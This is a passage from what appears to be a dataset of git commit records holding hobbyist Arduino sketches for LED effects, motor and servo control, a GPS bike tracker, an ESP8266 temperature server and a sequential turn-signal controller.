COLOR_ORDER GRB\n#define BRIGHTNESS 50\n#define NUM_LEDS 32\n\nCRGB leds[NUM_LEDS];\nCRGB temp[NUM_LEDS];\n\nboolean shuffle = true;\n\n\n\/\/---------------------------------------------------------------\nvoid setup() {\n Serial.begin(115200); \/\/ Allows serial monitor output (check baud rate)\n delay(2000); \/\/ Startup delay\n FastLED.addLeds<LED_TYPE, DATA_PIN, CLOCK_PIN, COLOR_ORDER>(leds, NUM_LEDS);\n FastLED.setBrightness(BRIGHTNESS);\n FastLED.clear();\n FastLED.show();\n Serial.println(\"Setup done. \\n\");\n}\n\n\/\/---------------------------------------------------------------\nvoid loop() {\n \/\/ Fill temp with some color data which will be tranfered to leds.\n fill_rainbow(temp, NUM_LEDS, millis()\/300, 256\/NUM_LEDS);\n\n EVERY_N_SECONDS(2) {\n\n shuffle = !shuffle; \/\/toggle true or false\n Serial.print(\"shuffle = \"); Serial.print(shuffle);\n\n if (shuffle) {\n ShufflePixels(); \/\/copy from temp to leds with shuffling\n Serial.println(\" Pixels shuffled.\");\n } else {\n CopyPixels(); \/\/straight copy of temp to leds, no shuffling\n Serial.println(\" No change.\");\n }\n\n FastLED.show(); \/\/display leds\n\n }\/\/end EVERY_N\n\n}\/\/end_main_loop\n\n\n\/\/---------------------------------------------------------------\nvoid CopyPixels() {\n \/\/ Straight transfer of temp pixel data to leds array\n \/\/ (This results in leds being exactly the same as temp.)\n memmove8 (&leds, &temp, (NUM_LEDS)*sizeof(CRGB) );\n\n}\/\/end_CopyPixels\n\n\n\/\/---------------------------------------------------------------\nvoid ShufflePixels() {\n \/\/ Move pixel data from temp (specifing start position) to the destination\n \/\/ leds (specifing starting position), moving the data for X number of pixels.\n \/\/ memmove8( &destination[start position], &source[start position], by X pixels );\n\n memmove8 (&leds[0], &temp[NUM_LEDS\/4*3], (NUM_LEDS)*sizeof(CRGB)\/4 );\n memmove8 (&leds[NUM_LEDS\/4], &temp[NUM_LEDS\/4*2], (NUM_LEDS)*sizeof(CRGB)\/4 );\n memmove8 (&leds[NUM_LEDS\/4*2], &temp[NUM_LEDS\/4], (NUM_LEDS)*sizeof(CRGB)\/4 );\n memmove8 (&leds[NUM_LEDS\/4*3], &temp[0], (NUM_LEDS)*sizeof(CRGB)\/4 );\n\n}\/\/end_ShufflePixels\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'memmove8_test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"7844459c3cb88915df6b3d0a1897e200b5db3a5b","subject":"Simple motor control","message":"Simple motor control\n","repos":"crmaykish\/ansel,crmaykish\/ansel,crmaykish\/ansel,crmaykish\/ansel","old_file":"minibot\/src\/sketch.ino","new_file":"minibot\/src\/sketch.ino","new_contents":"const int L_FORWARD = 3;\r\nconst int L_REVERSE = 5;\r\nconst int R_FORWARD = 6;\r\nconst int R_REVERSE = 9;\r\n\r\nvoid setup() {\r\n Serial.begin(115200);\r\n}\r\n\r\nvoid loop() {\r\n left(255);\r\n delay(10000);\r\n stop();\r\n delay(500);\r\n right(255);\r\n delay(10000);\r\n stop();\r\n delay(500);\r\n}\r\n\r\nvoid forward(int speed) {\r\n analogWrite(L_REVERSE, 0);\r\n analogWrite(R_REVERSE, 0);\r\n analogWrite(L_FORWARD, speed);\r\n analogWrite(R_FORWARD, speed);\r\n}\r\n\r\nvoid reverse(int speed) {\r\n analogWrite(L_FORWARD, 0);\r\n analogWrite(R_FORWARD, 0);\r\n analogWrite(L_REVERSE, speed);\r\n analogWrite(R_REVERSE, speed);\r\n}\r\n\r\nvoid left(int speed) {\r\n analogWrite(L_FORWARD, 0);\r\n analogWrite(R_FORWARD, speed);\r\n analogWrite(L_REVERSE, speed);\r\n analogWrite(R_REVERSE, 0);\r\n}\r\n\r\nvoid right(int speed) {\r\n analogWrite(L_FORWARD, speed);\r\n analogWrite(R_FORWARD, 0);\r\n analogWrite(L_REVERSE, 0);\r\n analogWrite(R_REVERSE, speed);\r\n}\r\n\r\nvoid stop() {\r\n analogWrite(L_FORWARD, 0);\r\n analogWrite(L_REVERSE, 0);\r\n analogWrite(R_FORWARD, 0);\r\n analogWrite(R_REVERSE, 0);\r\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'minibot\/src\/sketch.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9b198bf9281928dd14c17d193ae0d16a972ea1ea","subject":"edit arduino sketch for new library","message":"edit arduino sketch for new library\n","repos":"bart02\/BlueArmCPC","old_file":"Arduino Sketch\/BlueArmCPC\/BlueArmCPC.ino","new_file":"Arduino Sketch\/BlueArmCPC\/BlueArmCPC.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino' did not match any file(s) known to git\nerror: pathspec 'Sketch\/BlueArmCPC\/BlueArmCPC.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"5480930a865e9a53ff68149f8039acbcd66bea2f","subject":"Slightly Randomized version of mark's code","message":"Slightly Randomized version of mark's code\n\nCurrently on Bobot\n","repos":"boscomonkey\/lazy-susan-arduino,boscomonkey\/lazy-susan-arduino","old_file":"marks_servo_sweep_mod\/marks_servo_sweep_mod.ino","new_file":"marks_servo_sweep_mod\/marks_servo_sweep_mod.ino","new_contents":"\/\/ Sweep\n\/\/ by BARRAGAN <>http:\/\/barraganstudio.com<>\n\/\/ This example code is in the public domain.\n\n\n#include <Servo.h>\n#include <Math.h>\n\nServo myservo; \/\/ create servo object to control a servo\n \/\/ a maximum of eight servo objects can be created\n\nint pos = 90; \/\/ variable to store the servo position\nint dir = -2;\n\n\/\/ multiply by degrees to get radians\n\/\/\nconst double RADIANS_PER_DEGREE = 0.0174532925;\n\nconst int LEFT_LIM = 35;\nconst int RIGHT_LIM = 125;\n\/\/ milliseconds to wait between servo movement: when servo is gently oscillating\n\n\n\nvoid setup()\n{\n myservo.attach(9); \/\/ attaches the servo on pin 9 to the servo object\n Serial.begin(9600);\n}\n\n\nvoid loop()\n{\n myservo.write(pos);\n pos += dir;\n rand_delay(65, 20);\n if (pos > RIGHT_LIM) {\n dir *= -1;\n rand_delay(1500,1500);\n }\n if (pos < LEFT_LIM) {\n dir *= -1;\n rand_delay(1500,1500);\n }\n\n}\n\nint rand_delay(int min_time, int rand_range){\n int r = random(rand_range);\n int del = min_time + rand_range;\n delay(del);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'marks_servo_sweep_mod\/marks_servo_sweep_mod.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"69e0301ac34ffe546f683eca41571424b5af0946","subject":"Akeru GPS 2","message":"Akeru GPS 2\n","repos":"nicho90\/IoB-Devices,nicho90\/IoB-Devices","old_file":"theftprotection_2.ino","new_file":"theftprotection_2.ino","new_contents":"\/**\nArduino GPS Client to retrieve the Location data from the GPS shield.\nThe information are processed through the TinyGPS library and send via the Akeru\n**\/\n\n#include <SoftwareSerial.h>\n#include <Akeru.h>\n#include <TinyGPS.h>\n\nTinyGPS gps;\n\/\/ Akeru uses RX=5, TX=4\nSoftwareSerial ssAkeru(5,4);\nSoftwareSerial ss(6,7);\n\nvoid setup()\n{ \n Serial.begin(9600);\n Serial.print(\"Finished setup\");\n}\n\ntypedef struct {\n bool theftprotection;\n float lat;\n float lng;\n} Payload;\n\nvoid loop()\n{ \n bool newData = false;\n unsigned long chars;\n unsigned short sentences, failed;\n\tPayload p;\n \n \/\/ start gps listening\n ss.begin(9600);\n \n \/\/ parse GPS data for one second and report some key values\n for (unsigned long start = millis(); millis() - start < 1000;)\n {\n while (ss.available())\n {\n char c = ss.read();\n \/\/Serial.print(c); \/\/uncomment to see the full NMEA datasets\n if (gps.encode(c)) \/\/ Did a new valid sentence come in?\n Serial.println(\"New Data!\");\n newData = true;\n }\n }\n \/\/ end gps in order to make port listening for akeru available\n ss.end();\n \n if (newData)\n {\n float flat, flon;\n unsigned long age;\n gps.f_get_position(&flat, &flon, &age);\n Serial.println(\"\"); \n Serial.print(\"LAT = \"); \n Serial.println(flat == TinyGPS::GPS_INVALID_F_ANGLE ? 0.0 : flat, 6);\n Serial.print(\"LON = \");\n Serial.println(flon == TinyGPS::GPS_INVALID_F_ANGLE ? 0.0 : flon, 6);\n newData = false;\n\n p.theftprotection = true;\n p.lat = flat;\n p.lng = flon;\n\n \/\/ Init modem\n Akeru.begin();\n \/\/ Wait 1 second for the modem to warm up\n delay(1000);\n \n if(!Akeru.isReady()) {\n Serial.println(\"Modem not ready\");\n delay(1000);\n } else {\n Serial.println(\"Modem ready\");\n delay(1000);\n \n Akeru.send(&p, sizeof(p));\n Serial.println(\"Message sent\");\n delay(1000); \n }\n \/\/ end modem in order to make port listening for gps available\n ssAkeru.end();\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'theftprotection_2.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ca152d8cc96d832c35dc262161b20f3e6007f040","subject":"Read temperature and humidity. Untested.","message":"Read temperature and humidity. Untested.\n","repos":"cwi-dis\/iotsa,cwi-dis\/iotsa,cwi-dis\/iotsa,cwi-dis\/iotsa","old_file":"examples\/Temperature\/Temperature.ino","new_file":"examples\/Temperature\/Temperature.ino","new_contents":"\/\/\n\/\/ Boilerplate for configurable web server (probably RESTful) running on ESP8266.\n\/\/\n\/\/ This server includes the wifi configuration module, and optionally the\n\/\/ Over-The-Air update module (to allow uploading new code into the esp12 (or other\n\/\/ board) from the Arduino IDE.\n\/\/\n\/\/ A \"temperature\" module is added, which greets the user with a name settable through\n\/\/ a web form (not kept over reboots). \n\/\/\n\n#include <ESP.h>\n#include \"iotsa.h\"\n#include \"iotsaWifi.h\"\n#include <DHT.h>\n\n\/\/ CHANGE: Add application includes and declarations here\n\n#define DHT_PIN 13\n#define DHT_TYPE DHT21\n\n#define WITH_OTA \/\/ Enable Over The Air updates from ArduinoIDE. Needs at least 1MB flash.\n\nESP8266WebServer server(80);\nIotsaApplication application(server, \"Iotsa Temperature Server\");\nIotsaWifiMod wifiMod(application);\n\n#ifdef WITH_OTA\n#include \"iotsaOta.h\"\nIotsaOtaMod otaMod(application);\n#endif\n\n\/\/\n\/\/ Temperature module. Gets temperature and humidity data from a DHT21 module.\n\/\/\n\n\/\/ Declaration of the Temperature module\nclass IotsaTemperatureMod : public IotsaMod {\npublic:\n IotsaTemperatureMod(IotsaApplication &_app, int pin, int type) \n : IotsaMod(_app),\n dht(pin, type)\n {}\n\tvoid setup();\n\tvoid serverSetup();\n\tvoid loop();\n String info();\nprivate:\n void handler();\n void _update();\n float temperature;\n float humidity;\n DHT dht;\n};\n\n\nvoid IotsaTemperatureMod::_update() {\n temperature = dht.readTemperature();\n humidity = dht.readHumidity();\n}\n\n\/\/ Implementation of the Temperature module\nvoid IotsaTemperatureMod::setup() {\n\t\/\/ Nothing to do during early initialization for this module\n}\n\nvoid\nIotsaTemperatureMod::handler() {\n \/\/ Handles the page that is specific to the Temperature module, greets the user and\n \/\/ optionally stores a new name to greet the next time.\n LED digitalWrite(led, 1);\n _update();\n String message = \"{\\\"temperature\\\":\";\n message += String(temperature);\n message += \",\\\"humidity\\\":\";\n message += String(humidity);\n message += \"}\\n\";\n server.send(200, \"application\/json\", message);\n LED digitalWrite(led, 0);\n}\n\nvoid IotsaTemperatureMod::serverSetup() {\n \/\/ Setup the web server hooks for this module.\n server.on(\"\/temperature\", std::bind(&IotsaTemperatureMod::handler, this));\n}\n\nString IotsaTemperatureMod::info() {\n \/\/ Return some information about this module, for the main page of the web server.\n String rv = \"<p>Temperature is \";\n rv += String(temperature);\n rv += \", humidity is \";\n rv += String(humidity);\n rv += \". See <a href=\\\"\/temperature\\\">\/temperature<\/a> for JSON data.<\/p>\";\n return rv;\n}\n\nvoid IotsaTemperatureMod::loop() {\n \/\/ Nothing to do in the loop, for this module\n}\n\n\/\/ Instantiate the Temperature module, and install it in the framework\nIotsaTemperatureMod temperatureMod(application, DHT_PIN, DHT_TYPE);\n\n\/\/ Standard setup() method, hands off most work to the application framework\nvoid setup(void){\n application.setup();\n application.serverSetup();\n ESP.wdtEnable(WDTO_120MS);\n}\n \n\/\/ Standard loop() routine, hands off most work to the application framework\nvoid loop(void){\n application.loop();\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Temperature\/Temperature.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"cbc81de73ce7088492d7c1f6dd1b088a4ef1584d","subject":"updating avoiding objects algorithm","message":"updating avoiding objects algorithm\n","repos":"martog\/VMKS_2016,martog\/VMKS_2016","old_file":"Arduino Code\/rc_car_arduino_code_with_sersors\/rc_car_arduino_code_with_sersors.ino","new_file":"Arduino Code\/rc_car_arduino_code_with_sersors\/rc_car_arduino_code_with_sersors.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino' did not match any file(s) known to git\nerror: pathspec 'Code\/rc_car_arduino_code_with_sersors\/rc_car_arduino_code_with_sersors.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"167fc5c826cf0f9a8de765fb87d80c1e898d34c0","subject":"extra-example, with a small change to rotate just one LED around LED shield","message":"extra-example, with a small change to rotate just one LED around LED shield\n","repos":"HackBergen\/SparkCore","old_file":"rotate-redled.ino","new_file":"rotate-redled.ino","new_contents":"\/*-------------------------------------------------------------------------\n Spark Core library to control WS2811\/WS2812 based RGB\n LED devices such as Adafruit NeoPixel strips.\n Currently handles 800 KHz and 400kHz bitstream on Spark Core, \n WS2812, WS2812B and WS2811.\n\n Also supports:\n - Radio Shack Tri-Color Strip with TM1803 controller 400kHz bitstream.\n - TM1829 pixels\n \n PLEASE NOTE that the NeoPixels require 5V level inputs \n and the Spark Core only has 3.3V level outputs. Level shifting is\n necessary, but will require a fast device such as one of the following:\n\n [SN74HCT125N]\n http:\/\/www.digikey.com\/product-detail\/en\/SN74HCT125N\/296-8386-5-ND\/376860\n\n [SN74HCT245N] \n http:\/\/www.digikey.com\/product-detail\/en\/SN74HCT245N\/296-1612-5-ND\/277258\n\n Written by Phil Burgess \/ Paint Your Dragon for Adafruit Industries.\n Modified to work with Spark Core by Technobly.\n Contributions by PJRC and other members of the open source community.\n\n Adafruit invests time and resources providing this open source code,\n please support Adafruit and open-source hardware by purchasing products\n from Adafruit!\n --------------------------------------------------------------------*\/\n\n\/* ======================= includes ================================= *\/\n\n#include \"application.h\"\n\/\/#include \"spark_disable_wlan.h\" (for faster local debugging only)\n#include \"neopixel\/neopixel.h\"\n\n\/* ======================= prototypes =============================== *\/\n\nvoid colorAll(uint32_t c, uint8_t wait);\nvoid colorWipe(uint32_t c, uint8_t wait);\nvoid rainbow(uint8_t wait);\nvoid rainbowCycle(uint8_t wait);\nuint32_t Wheel(byte WheelPos);\n\n\/* ======================= extra-examples.cpp ======================== *\/\n\n\/\/ IMPORTANT: Set pixel COUNT, PIN and TYPE\n#define PIXEL_COUNT 12\n#define PIXEL_PIN A7\n#define PIXEL_TYPE WS2812B\n\n\/\/ Parameter 1 = number of pixels in strip\n\/\/ Parameter 2 = pin number (most are valid)\n\/\/ note: if not specified, D2 is selected for you.\n\/\/ Parameter 3 = pixel type [ WS2812, WS2812B, WS2811, TM1803 ]\n\/\/ note: if not specified, WS2812B is selected for you.\n\/\/ note: RGB order is automatically applied to WS2811,\n\/\/ WS2812\/WS2812B\/TM1803 is GRB order.\n\/\/\n\/\/ 800 KHz bitstream 800 KHz bitstream (most NeoPixel products ...\n\/\/ ... WS2812 (6-pin part)\/WS2812B (4-pin part) )\n\/\/\n\/\/ 400 KHz bitstream (classic 'v1' (not v2) FLORA pixels, WS2811 drivers)\n\/\/ (Radio Shack Tri-Color LED Strip - TM1803 driver\n\/\/ NOTE: RS Tri-Color LED's are grouped in sets of 3)\n\nAdafruit_NeoPixel strip = Adafruit_NeoPixel(PIXEL_COUNT, PIXEL_PIN, PIXEL_TYPE);\n\n\/\/ IMPORTANT: To reduce NeoPixel burnout risk, add 1000 uF capacitor across\n\/\/ pixel power leads, add 300 - 500 Ohm resistor on first pixel's data input\n\/\/ and minimize distance between Arduino and first pixel. Avoid connecting\n\/\/ on a live circuit...if you must, connect GND first.\n\nvoid setup() {\n strip.begin();\n strip.show(); \/\/ Initialize all pixels to 'off'\n}\n\nvoid loop() {\n \/\/ Some example procedures showing how to display to the pixels:\n \/\/ Do not run more than one of these at a time, or the b\/g tasks \n \/\/ will be blocked.\n \/\/--------------------------------------------------------------\n \n \/\/strip.setPixelColor(0, strip.Color(255, 0, 255));\n \/\/strip.show();\n \n pixelWipe(strip.Color(255, 0, 0),strip.Color(0, 0, 50), 50); \/\/ Red\n \n \/\/colorWipe(strip.Color(255, 0, 0), 50); \/\/ Red\n \n \/\/colorWipe(strip.Color(200, 255, 0), 50); \/\/ Green\n \n \/\/colorWipe(strip.Color(0, 0, 255), 50); \/\/ Blue\n \n \/\/rainbow(20);\n \n \/\/rainbowCycle(20);\n \n \/\/colorAll(strip.Color(0, 255, 255), 50); \/\/ Magenta\n}\n\n\/\/ Set all pixels in the strip to a solid color, then wait (ms)\nvoid colorAll(uint32_t c, uint8_t wait) {\n uint16_t i;\n \n for(i=0; i<strip.numPixels(); i++) {\n strip.setPixelColor(i, c);\n }\n strip.show();\n delay(wait);\n}\n\n\/\/ Fill the dots one after the other with a color, wait (ms) after each one\nvoid colorWipe(uint32_t c, uint8_t wait) {\n for(uint16_t i=0; i<strip.numPixels(); i++) {\n strip.setPixelColor(i, c);\n strip.show();\n delay(wait);\n }\n}\n\nvoid pixelWipe(uint32_t c, uint32_t b, uint8_t wait) {\n for(uint16_t i=0; i<strip.numPixels(); i++) {\n strip.setPixelColor(i, c);\n strip.setPixelColor(i - 1, b);\n strip.show();\n delay(wait);\n }\n}\n\nvoid rainbow(uint8_t wait) {\n uint16_t i, j;\n\n for(j=0; j<256; j++) {\n for(i=0; i<strip.numPixels(); i++) {\n strip.setPixelColor(i, Wheel((i+j) & 255));\n }\n strip.show();\n delay(wait);\n }\n}\n\n\/\/ Slightly different, this makes the rainbow equally distributed throughout, then wait (ms)\nvoid rainbowCycle(uint8_t wait) {\n uint16_t i, j;\n\n for(j=0; j<256; j++) { \/\/ 1 cycle of all colors on wheel\n for(i=0; i< strip.numPixels(); i++) {\n strip.setPixelColor(i, Wheel(((i * 256 \/ strip.numPixels()) + j) & 255));\n }\n strip.show();\n delay(wait);\n }\n}\n\n\/\/ Input a value 0 to 255 to get a color value.\n\/\/ The colours are a transition r - g - b - back to r.\nuint32_t Wheel(byte WheelPos) {\n if(WheelPos < 85) {\n return strip.Color(WheelPos * 3, 255 - WheelPos * 3, 0);\n } else if(WheelPos < 170) {\n WheelPos -= 85;\n return strip.Color(255 - WheelPos * 3, 0, WheelPos * 3);\n } else {\n WheelPos -= 170;\n return strip.Color(0, WheelPos * 3, 255 - WheelPos * 3);\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'rotate-redled.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"7aaf6264d718a169c14643680a9932abcdbddd03","subject":"we want to debug homing and endstops \u2026","message":"we want to debug homing and endstops \u2026\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/ArduinoClient.ino","new_file":"ArduinoClient\/ArduinoClient.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"b6a221adb81f9c19bf89ac9a58a1b3dc7f1a421f","subject":"Current working version of the Arduino code","message":"Current working version of the Arduino code","repos":"jasonsaler\/SequentialTL","old_file":"sequencial_turn_signal_4_8_0zxy.ino","new_file":"sequencial_turn_signal_4_8_0zxy.ino","new_contents":"\n\n\/*\n\n+++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n+ + \n+ Program: Sequential Turn Signal Master +\n+ Version: 4.8.1zxy +\n+ Purpose: Using a 3 taillight per side configuration +\n+ this program will make them flash +\n+ sequentially for turn signal and brake. +\n+ Author: Jason Saler +\n+ First Created: 05\/06\/2013 +\n+ Date Last Edited: 03\/13\/2017 +\n+ +\n+++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n\n*\/\n\n\/\/ Define the input pins: Pin 9 will be right input, Pin 10 will be left input and Pin 11 will be brake input \n\/\/ 12 is Mode input which switches the program from sequential pattern to standard pattern\n#define RIGHT_SIGNAL_INPUT 9 \n#define LEFT_SIGNAL_INPUT 10 \n#define BRAKE_INPUT 11 \n#define MODE_INPUT 12 \n\n\/\/ Depending on the relay board this may need to be reversed\n#define ON LOW\n#define OFF HIGH\n\n\/\/ Several standard time lengths in milliseconds\n#define FAST_BLINK 100\n#define QUICK_BLINK 200\n#define MEDIUM_BLINK 250\n#define LONG_BLINK 350\n#define SLOW_BLINK 450\n#define PAUSE_SECOND 1000\n\n\/\/ can use basically any pin, but note: Pin 13 has an LED connected on most Arduino boards.\n\n\/\/ Now declare the 8 light output pins, 4 per side. Variable names are quite descriptive\nconst int leftMarkers = 1;\nconst int leftOuter = 2;\nconst int leftMiddle = 3; \nconst int leftInner = 4;\nconst int rightInner = 5; \nconst int rightMiddle = 6; \nconst int rightOuter = 7; \nconst int rightMarkers = 8;\n\n\/\/ I. the setup routine runs once when you press reset: This loop will reset all the variables to their starting type and state.\nvoid setup() \n{ \n \/\/ Initialize the LEDs as outputs.\n pinMode(rightInner, OUTPUT); \n pinMode(rightMiddle, OUTPUT);\n pinMode(rightOuter, OUTPUT);\n pinMode(leftInner, OUTPUT);\n pinMode(leftMiddle, OUTPUT);\n pinMode(leftOuter, OUTPUT);\n pinMode(rightMarkers, OUTPUT);\n pinMode(leftMarkers, OUTPUT);\n \n \/\/ Initialize the input pins as, well, inputs of course... \n pinMode(RIGHT_SIGNAL_INPUT, INPUT);\n pinMode(LEFT_SIGNAL_INPUT, INPUT);\n pinMode(BRAKE_INPUT, INPUT);\n pinMode(MODE_INPUT, INPUT);\n \n \/\/ Set the initial inputs as HIGH. Could also be done as low, but then all the states should be reversed throughout the program: 1 to 0 and visa versa.\n digitalWrite(RIGHT_SIGNAL_INPUT, HIGH);\n digitalWrite(LEFT_SIGNAL_INPUT, HIGH);\n digitalWrite(BRAKE_INPUT, HIGH);\n digitalWrite(MODE_INPUT, HIGH);\n}\n\n\/\/ II. The loop routine runs over and over again forever(or at least as long as the board has power and is working...) \n\/\/ This handles all of the actual light blinking and what not.\nvoid loop() \n{\n\n \/\/\n \/\/ Sequential Pattern Section\n \/\/\n if(digitalRead(MODE_INPUT) == 0)\n { \n \/\/ 1. First the program will check if the brakes are on; if all inputs are 1, then nothing is on. \n \/\/ So nothing is lit up, set all the lights to LOW which is off.\n if((digitalRead(RIGHT_SIGNAL_INPUT) == 1) and (digitalRead(LEFT_SIGNAL_INPUT) == 1) and (digitalRead(BRAKE_INPUT) == 1))\n { \n off();\n } \n \n \/\/ 2. Next chack if the brakes are on (when buttonstate_s is 0).\n if(digitalRead(BRAKE_INPUT) == 0)\n {\n if((digitalRead(RIGHT_SIGNAL_INPUT) == 1) and (digitalRead(LEFT_SIGNAL_INPUT) == 1) and (digitalRead(BRAKE_INPUT) == 0))\n { \n brakeSequenceFlashOn(FAST_BLINK); \n }\n \n \/\/ 2.1 Keep the lights lit as long as the brake is on \n while(digitalRead(BRAKE_INPUT) == 0)\n { \n \n if((digitalRead(LEFT_SIGNAL_INPUT) == 1) and (digitalRead(RIGHT_SIGNAL_INPUT) == 1))\n {\n brakeSequebceHoldOn(); \n }\n \n \/\/ 2.2 Here is if the right turn signal and brake are on.\n if( (digitalRead(RIGHT_SIGNAL_INPUT) == 0) and (digitalRead(LEFT_SIGNAL_INPUT) == 1) and (digitalRead(BRAKE_INPUT) == 0))\n { \n rightSequenceBrake(QUICK_BLINK, QUICK_BLINK);\n }\n \n \/\/ 2.3. Now if the left turn signal and brake are both on\n if( (digitalRead(RIGHT_SIGNAL_INPUT) == 1) and (digitalRead(LEFT_SIGNAL_INPUT) == 0) and (digitalRead(BRAKE_INPUT) == 0))\n {\n leftSequenceBrake(QUICK_BLINK, QUICK_BLINK); \n }\n } \n\n if((digitalRead(LEFT_SIGNAL_INPUT) == 1) and (digitalRead(RIGHT_SIGNAL_INPUT) == 1))\n {\n brakeSequenceFlashOff(FAST_BLINK); \n }\n }\n \/\/ 3. Now checking for the emergency flashers being on, when this happens a fun litle flashing pattern is performed to warn other drivers of emergencies. \n else if(( digitalRead(RIGHT_SIGNAL_INPUT) == 0) and (digitalRead(LEFT_SIGNAL_INPUT) == 0) and (digitalRead(BRAKE_INPUT) == 1))\n {\n emergencyFlasherSequence(QUICK_BLINK, MEDIUM_BLINK, SLOW_BLINK); \n }\n \n \/\/ 4. This is the section if the brakes are on and the emergency flashers are on. A unique flashing pattern will be run in this case. \n \/\/ Due to unreliability of the arduino, this section has been omitted for real life use. (The board kept confusing which input was received) After removing this section the lights have been working flawlessly\n \/*if(( digitalRead(buttonstate_r) == 0) and (digitalRead(buttonstate_l) == 0) and (digitalRead(buttonstate_s) == 0))\n {\n } *\/\n \n else\n {\n \/\/ 5. This is if the right turn signal is on, do a cycle through the lights from R1-R3\n if( (digitalRead(RIGHT_SIGNAL_INPUT) == 0) and (digitalRead(LEFT_SIGNAL_INPUT) == 1) and (digitalRead(BRAKE_INPUT) == 1))\n {\n rightSequence(QUICK_BLINK, QUICK_BLINK);\n }\n \n \/\/ 6. Here is if the left turn signal is on. Cycle through the lights from L1-L3\n if( (digitalRead(RIGHT_SIGNAL_INPUT) == 1) and (digitalRead(LEFT_SIGNAL_INPUT) == 0) and (digitalRead(BRAKE_INPUT) == 1))\n {\n leftSequence(QUICK_BLINK, QUICK_BLINK);\n }\n } \n }\n\n \/\/\n \/\/ Standard Pattern Section\n \/\/\n else\n {\n \/\/ 1. First the program will check if the brakes are on; if all inputs are 1, then nothing is on. \n \/\/ If not nothing is lit up, set all the lights to LOW which is off.\n if((digitalRead(RIGHT_SIGNAL_INPUT) == 1) and (digitalRead(LEFT_SIGNAL_INPUT) == 1) and (digitalRead(BRAKE_INPUT) == 1))\n { \n off();\n } \n \n \/\/ 2. Next chack if the brakes are on; Keep the lights lit as long as the brake is on \n while(digitalRead(BRAKE_INPUT) == 0)\n { \n if( (digitalRead(RIGHT_SIGNAL_INPUT) == 1) and (digitalRead(LEFT_SIGNAL_INPUT) == 1))\n {\n brake();\n }\n \n \/\/ 2.2 Now if the left turn signal and brake are both on\n else if( (digitalRead(RIGHT_SIGNAL_INPUT) == 1) and (digitalRead(LEFT_SIGNAL_INPUT) == 0))\n {\n leftBlinkBrake(SLOW_BLINK, MEDIUM_BLINK); \n }\n \n \/\/ 2.3 Here is if the right turn signal and brake are on.\n else if( (digitalRead(RIGHT_SIGNAL_INPUT) == 0) and (digitalRead(LEFT_SIGNAL_INPUT) == 1))\n { \n rightBlinkBrake(SLOW_BLINK, MEDIUM_BLINK);\n } \n }\n \n \/\/ 3. Now checking for the emergency flashers being on, when this happens a fun litle flashing pattern is performed to warn other drivers of emergencies. \n if(( digitalRead(RIGHT_SIGNAL_INPUT) == 0) and (digitalRead(LEFT_SIGNAL_INPUT) == 0) and (digitalRead(BRAKE_INPUT) == 1))\n {\n emergencyFlasherBlink(SLOW_BLINK, MEDIUM_BLINK); \n }\n \n \/\/ 4. This is the section if the brakes are on and the emergency flashers are on. A unique flashing pattern will be run in this case. \n \/\/ Due to unreliability of the arduino, this section has been omitted for real life use. (The board kept confusing which input was received) After removing this section the lights have been working flawlessly\n \/*if(( digitalRead(buttonstate_r) == 0) and (digitalRead(buttonstate_l) == 0) and (digitalRead(buttonstate_s) == 0))\n {\n } *\/\n \n else\n {\n \/\/ 5. This is if the right turn signal is on, do a cycle through the lights from R1-R3\n if( (digitalRead(RIGHT_SIGNAL_INPUT) == 0) and (digitalRead(LEFT_SIGNAL_INPUT) == 1) and (digitalRead(BRAKE_INPUT) == 1))\n {\n rightBlink(SLOW_BLINK, MEDIUM_BLINK);\n }\n \n \/\/ 6. Here is if the left turn signal is on. Cycle through the lights from L1-L3\n if( (digitalRead(RIGHT_SIGNAL_INPUT) == 1) and (digitalRead(LEFT_SIGNAL_INPUT) == 0) and (digitalRead(BRAKE_INPUT) == 1))\n {\n leftBlink(SLOW_BLINK, MEDIUM_BLINK);\n }\n }\n }\n}\n\n\/\/ III. All constructive functions are found below.\n\/\/ Two options are given for each action, a regular blink or a sequential pattern.\n\nvoid rightSequence(int durationMillis, int pauseDurationMillis)\n{\n selectLeftOn(OFF, OFF, OFF, OFF);\n selectRightOn(ON, OFF, OFF, ON);\n delay(durationMillis);\n \n selectLeftOn(OFF, OFF, OFF, OFF);\n selectRightOn(OFF, ON, OFF, ON);\n delay(durationMillis);\n \n selectLeftOn(OFF, OFF, OFF, OFF);\n selectRightOn(OFF, OFF, ON, OFF);\n delay(durationMillis);\n\n selectLeftOn(OFF, OFF, OFF, OFF);\n selectRightOn(OFF, OFF, OFF, OFF);\n delay(pauseDurationMillis);\n}\n\nvoid rightBlink(int durationMillis, int offDurationMillis)\n{\n selectLeftOn(OFF, OFF, OFF, OFF);\n selectRightOn(OFF, ON, ON, ON);\n delay(durationMillis);\n \n selectLeftOn(OFF, OFF, OFF, OFF);\n selectRightOn(OFF, OFF, OFF, OFF);\n 